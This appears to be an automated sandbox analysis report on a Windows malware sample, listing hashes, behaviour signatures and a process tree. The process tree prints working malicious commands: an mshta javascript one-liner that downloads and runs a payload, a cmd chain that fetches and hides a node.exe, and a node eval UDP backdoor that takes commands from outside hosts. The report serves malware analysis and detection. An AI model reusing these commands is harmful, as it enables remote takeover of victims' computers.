Analysis
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max time kernel
150s -
max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
28-06-2021 08:24
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210628-082923.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210628-082923.exe
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Size
2KB
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MD5
c795c8a54b85afb25448b4a44cd0b3d1
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SHA1
186c7780c92280c257e1caabc01c51194e1cdf22
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SHA256
b93b8b99bdc14cb119ca0a51fe57c2da5aaa45d52a3f7121d31d675e4f900400
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SHA512
38adf22ed46655024f96e6a0d1e5f4556bc9804f5b189b42d9d7d85ca72889ce6cbdfa9663cb442cfbe92d338f0494b4349c554ffbeb11d61b24a7bf504e72c4
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 1472 mshta.exe 3 1740 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 924 node.exe -
Loads dropped DLL 1 IoCs
pid Process 572 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1528 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1764 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1336 netstat.exe 296 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1468 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\1040825e7fa7d17e:ads node.exe File created C:\ProgramData\DNTException\node.exe:19f0f9a05b8019093bb17a43158071cb node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 924 node.exe 924 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1764 tasklist.exe Token: SeIncreaseQuotaPrivilege 1784 wmic.exe Token: SeSecurityPrivilege 1784 wmic.exe Token: SeTakeOwnershipPrivilege 1784 wmic.exe Token: SeLoadDriverPrivilege 1784 wmic.exe Token: SeSystemProfilePrivilege 1784 wmic.exe Token: SeSystemtimePrivilege 1784 wmic.exe Token: SeProfSingleProcessPrivilege 1784 wmic.exe Token: SeIncBasePriorityPrivilege 1784 wmic.exe Token: SeCreatePagefilePrivilege 1784 wmic.exe Token: SeBackupPrivilege 1784 wmic.exe Token: SeRestorePrivilege 1784 wmic.exe Token: SeShutdownPrivilege 1784 wmic.exe Token: SeDebugPrivilege 1784 wmic.exe Token: SeSystemEnvironmentPrivilege 1784 wmic.exe Token: SeRemoteShutdownPrivilege 1784 wmic.exe Token: SeUndockPrivilege 1784 wmic.exe Token: SeManageVolumePrivilege 1784 wmic.exe Token: 33 1784 wmic.exe Token: 34 1784 wmic.exe Token: 35 1784 wmic.exe Token: SeIncreaseQuotaPrivilege 1784 wmic.exe Token: SeSecurityPrivilege 1784 wmic.exe Token: SeTakeOwnershipPrivilege 1784 wmic.exe Token: SeLoadDriverPrivilege 1784 wmic.exe Token: SeSystemProfilePrivilege 1784 wmic.exe Token: SeSystemtimePrivilege 1784 wmic.exe Token: SeProfSingleProcessPrivilege 1784 wmic.exe Token: SeIncBasePriorityPrivilege 1784 wmic.exe Token: SeCreatePagefilePrivilege 1784 wmic.exe Token: SeBackupPrivilege 1784 wmic.exe Token: SeRestorePrivilege 1784 wmic.exe Token: SeShutdownPrivilege 1784 wmic.exe Token: SeDebugPrivilege 1784 wmic.exe Token: SeSystemEnvironmentPrivilege 1784 wmic.exe Token: SeRemoteShutdownPrivilege 1784 wmic.exe Token: SeUndockPrivilege 1784 wmic.exe Token: SeManageVolumePrivilege 1784 wmic.exe Token: 33 1784 wmic.exe Token: 34 1784 wmic.exe Token: 35 1784 wmic.exe Token: SeDebugPrivilege 1336 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe 25 PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe 25 PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe 25 PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe 25 PID 1472 wrote to memory of 1600 1472 mshta.exe 27 PID 1472 wrote to memory of 1600 1472 mshta.exe 27 PID 1472 wrote to memory of 1600 1472 mshta.exe 27 PID 1472 wrote to memory of 1600 1472 mshta.exe 27 PID 1600 wrote to memory of 1740 1600 cmd.exe 29 PID 1600 wrote to memory of 1740 1600 cmd.exe 29 PID 1600 wrote to memory of 1740 1600 cmd.exe 29 PID 1600 wrote to memory of 1740 1600 cmd.exe 29 PID 1600 wrote to memory of 268 1600 cmd.exe 33 PID 1600 wrote to memory of 268 1600 cmd.exe 33 PID 1600 wrote to memory of 268 1600 cmd.exe 33 PID 1600 wrote to memory of 268 1600 cmd.exe 33 PID 1600 wrote to memory of 572 1600 cmd.exe 34 PID 1600 wrote to memory of 572 1600 cmd.exe 34 PID 1600 wrote to memory of 572 1600 cmd.exe 34 PID 1600 wrote to memory of 572 1600 cmd.exe 34 PID 572 wrote to memory of 924 572 cscript.exe 35 PID 572 wrote to memory of 924 572 cscript.exe 35 PID 572 wrote to memory of 924 572 cscript.exe 35 PID 572 wrote to memory of 924 572 cscript.exe 35 PID 924 wrote to memory of 1832 924 node.exe 37 PID 924 wrote to memory of 1832 924 node.exe 37 PID 924 wrote to memory of 1832 924 node.exe 37 PID 924 wrote to memory of 1832 924 node.exe 37 PID 924 wrote to memory of 2040 924 node.exe 38 PID 924 wrote to memory of 2040 924 node.exe 38 PID 924 wrote to memory of 2040 924 node.exe 38 PID 924 wrote to memory of 2040 924 node.exe 38 PID 924 wrote to memory of 1528 924 node.exe 39 PID 924 wrote to memory of 1528 924 node.exe 39 PID 924 wrote to memory of 1528 924 node.exe 39 PID 924 wrote to memory of 1528 924 node.exe 39 PID 924 wrote to memory of 1716 924 node.exe 40 PID 924 wrote to memory of 1716 924 node.exe 40 PID 924 wrote to memory of 1716 924 node.exe 40 PID 924 wrote to memory of 1716 924 node.exe 40 PID 924 wrote to memory of 1800 924 node.exe 41 PID 924 wrote to memory of 1800 924 node.exe 41 PID 924 wrote to memory of 1800 924 node.exe 41 PID 924 wrote to memory of 1800 924 node.exe 41 PID 924 wrote to memory of 1764 924 node.exe 42 PID 924 wrote to memory of 1764 924 node.exe 42 PID 924 wrote to memory of 1764 924 node.exe 42 PID 924 wrote to memory of 1764 924 node.exe 42 PID 924 wrote to memory of 1784 924 node.exe 44 PID 924 wrote to memory of 1784 924 node.exe 44 PID 924 wrote to memory of 1784 924 node.exe 44 PID 924 wrote to memory of 1784 924 node.exe 44 PID 924 wrote to memory of 296 924 node.exe 45 PID 924 wrote to memory of 296 924 node.exe 45 PID 924 wrote to memory of 296 924 node.exe 45 PID 924 wrote to memory of 296 924 node.exe 45 PID 924 wrote to memory of 1048 924 node.exe 46 PID 924 wrote to memory of 1048 924 node.exe 46 PID 924 wrote to memory of 1048 924 node.exe 46 PID 924 wrote to memory of 1048 924 node.exe 46 PID 924 wrote to memory of 1336 924 node.exe 47 PID 924 wrote to memory of 1336 924 node.exe 47 PID 924 wrote to memory of 1336 924 node.exe 47 PID 924 wrote to memory of 1336 924 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1716 attrib.exe 1800 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();8;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%309').split('~');5;try{x='WinHttp';209;x=new ActiveXObject(x+'.'+x+'Request.5.1');192;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);133;x.send();151;y='ipt.S';71;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);65;}catch(e){};204;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624868730445.txt & cscript /nologo /e:jscript get1624868730445.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23d9e9ab0%26b%3Dbe63bdbd" node.cab & expand node.cab node.exe & del get1624868730445.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624868730445.txt & cscript /nologo /e:jscript get1624868730445.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624868730445.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868730445.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23d9e9ab0%26b%3Dbe63bdbd" node.cab4⤵
- Blocklisted process makes network request
PID:1740
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:268
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868730445.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:572 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1832
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:2040
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1528
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1716
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1800
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:296
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1048
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1336
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1468
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